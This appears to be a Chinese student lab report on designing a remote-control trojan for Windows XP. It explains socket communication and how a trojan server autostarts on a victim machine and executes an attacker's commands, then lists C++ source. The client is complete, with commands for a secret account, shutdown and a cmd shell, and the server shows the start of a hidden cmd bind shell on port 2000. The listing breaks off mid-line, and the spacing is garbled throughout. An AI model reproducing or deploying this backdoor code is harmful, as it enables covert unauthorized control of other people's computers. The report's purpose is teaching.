远程控制与木马程序设计.docx
- 文档编号:3056434
- 上传时间:2022-11-17
- 格式:DOCX
- 页数:14
- 大小:64.66KB
远程控制与木马程序设计.docx
《远程控制与木马程序设计.docx》由会员分享,可在线阅读,更多相关《远程控制与木马程序设计.docx(14页珍藏版)》请在冰豆网上搜索。
远程控制与木马程序设计
1实验题目
远程控制与木马程序设计
2实验目的
●掌握远程控制的一般原理与类型,实现利用网络scoket套接字完成计算机远程通信过程,学生深入理解和掌握基于TCP/IP协议的网络通信概念、原理,以及网络客户机/服务器模型的结构概念。
●熟悉常用的WindowsAPI函数的用法,利用C++或VB语言实现木马程序的设计。
3实验条件和环境
●WindowsXPSP3
●MicrosoftVirtualC++
4实验方法(系统功能、结构设计,软件流程图等)
●利用Socket进行网络远程通信设计
使用套接字Socket在两台计算机实现通信过程中,首先假设一台是服务端,另一台是客户端。
服务端先启动,建立一个套接字Socket,并对相应的IP和端口进行绑定、监听;客户端也建立一个套接字Socket,并对其相应的IP和端口进行绑定,然后与服务端连接,待其相应后,双方可以实现远程通信。
服务端流程如下:
socket()->bind()->listen()->accept()->recv()/send()->closesocket()
客户端流程如下:
socket()->connect()->recv()/send()->closesocket()
●远程控制与木马程序
远程控制实际上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里,随着系统启动而自行启动。
此外,使用传统技术的程序会在某端口进行监听,若接收到数据就对其进行识别,然后按照识别后的命令在目标计算机上执行一些操作(比如窃取口令,拷贝或删除文件,或重启计算机等)。
攻击者一般在入侵成功后,将服务端程序拷贝到目标计算机中,并设法使其运行,从而留下后门。
日后,攻击者就能够通过运行客户端程序,来对目标计算机进行操作。
总体流程:
通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分为两部分:
即客户端和服务端木马程序。
其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序根据客户端的指令而执行相应的操作。
软件流程图:
5实验结果及结论
6附录:
程序清单及说明
客户端程序:
#include
#include
#pragmacomment(lib,"Ws2_32")
//将注释wsock32放置到lib文件中,否则需要加载
#defineMAXSIZE2048//每次可以接收的最大字节
#defineSEND_PORT2000//与木马程序连接的端口为2000
structsockaddr_inClientAddr;//对方的地址端口信息
SOCKETsock;//定义套接字变量,为全局变量
DWORDstartSock()//建立套接字功能模块
{
WSADATAWSAData;//将WSAData的数据类型声明为WSADATA
if(WSAStartup(MAKEWORD(2,2),&WSAData)!
=0)
{
//MAKEWORD(2,2)预定义Winsock版本,初始化套接字
printf("sockinitfail");
return(-1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
//连接对方
return1;
}
intmain(intargc,char*argv[])
{
u_intnumbyte;
charbuf[MAXSIZE];//传送数据的缓冲区
if(argc!
=2)
{
//需要有服务端ip参数,格式:
client.exeIP地址
fprintf(stderr,"usage:
clienthostname\n");
exit
(1);
}
startSock();//调用建立套接字功能函数
ClientAddr.sin_family=AF_INET;//协议类型是INET
ClientAddr.sin_port=htons(SEND_PORT);//连接对方2000端口
ClientAddr.sin_addr.s_addr=inet_addr(argv[1]);//连接对方的IP地址
connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr));
printf("------------远程控制木马程序菜单-------------\r\n");
printf("test--检测连接\r\n");
printf("add--建立Windowsxp系统的秘密帐号\r\n");
printf("shutdownxp--关闭Windowsxp计算机\r\n");
printf("resetxp--重新启动Windowsxp计算机\r\n");
printf("close--关闭光驱\r\n");
printf("open--打开光驱\r\n");
printf("sell--建立cmd进程\r\n");
printf("OSVersion--显示系统版本\r\n");
printf("-------------------------------------------------------\r\n");
numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符
if(numbyte==SOCKET_ERROR)
{
closesocket(sock);
}
buf[numbyte]='\0';
printf("%s",buf);//显示服务端发来的提示符
if(strcmp(buf,"quit")==0)
{
closesocket(sock);
return0;
}
while
(1)
{
buf[0]='\0';
scanf("%s",buf);//输入控制指令
intiLen=strlen(buf);
buf[iLen]=0xa;
buf[iLen+1]='\0';//要求控制指令串最后为回车符,以示结束
numbyte=send(sock,buf,strlen(buf),0);//发出控制指令
if(numbyte==SOCKET_ERROR)
{
closesocket(sock);
break;
}
numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符
if(numbyte==SOCKET_ERROR)
{
closesocket(sock);
break;
}
buf[numbyte]='\0';
printf("%s",buf);//显示服务端发来的提示符
if(strcmp(buf,"quit")==0)
{
closesocket(sock);
return0;
}
}
return0;
}
服务器程序:
#include
#include
#include
#include
#include
#include
#pragmacomment(lib,"Ws2_32")
//将注释wsock32放置到lib文件中,否则需要加载
#pragmacomment(lib,"Winmm.lib")//光驱控制函数mciSendString()所需的库
#defineRECV_PORT2000//木马服务端对外响应的端口
#definePATH200//程序自启动的最大路径
SOCKETsock1,sock2;
//sock1为服务端程序自身建立的套接字
//sock2为服务端与客户端建立响应后的套接字
intg1;
charBuff[1024],cmd[1024];//缓冲区
DWORDstartSock()//建立套接字功能模块
{
WSADATAWSAData;//将WSAData的数据类型声明为WSADATA
if(WSAStartup(MAKEWORD(2,2),&WSAData)!
=0)
{
//MAKEWORD(2,2)预定义Winsock版本,初始化套接字
printf("sockinitfail");
return(-1);
}
sock1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//建立套接字,为TCP/IP、流式格式
structsockaddr_inserverAddr;//保存套接字地址的结构体
serverAddr.sin_family=AF_INET;//规定使用IPv4协议
serverAddr.sin_port=htons(RECV_PORT);//响应端口
serverAddr.sin_addr.s_addr=ADDR_ANY;
//建立IP地址,ADDR_ANY可使用任意IP地址连接
g1=bind(sock1,(sockaddr*)&serverAddr,sizeof(serverAddr));
//绑定端口与套接字
g1=listen(sock1,5);//等待监听,最大可接受5个连接请求
intserverAddrSize=sizeof(serverAddr);
sock2=accept(sock1,(sockaddr*)&serverAddr,&serverAddrSize);
//如果客户请求2000端口,接受连接,并返回sock2套接字
return1;
}
intcmdshell(SOCKETsock)//建立cmd进程功能模块
{
STARTUPINFOstartinfo;//控制进程的主窗口的显示方式
ZeroMemory(&startinfo,sizeof(startinfo));
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//决定本结构的每一个成员是否起作用
startinfo.wShowWindow=SW_HIDE;//窗口显示模式,隐藏格式
startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(void*)so
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 远程 控制 木马程序 设计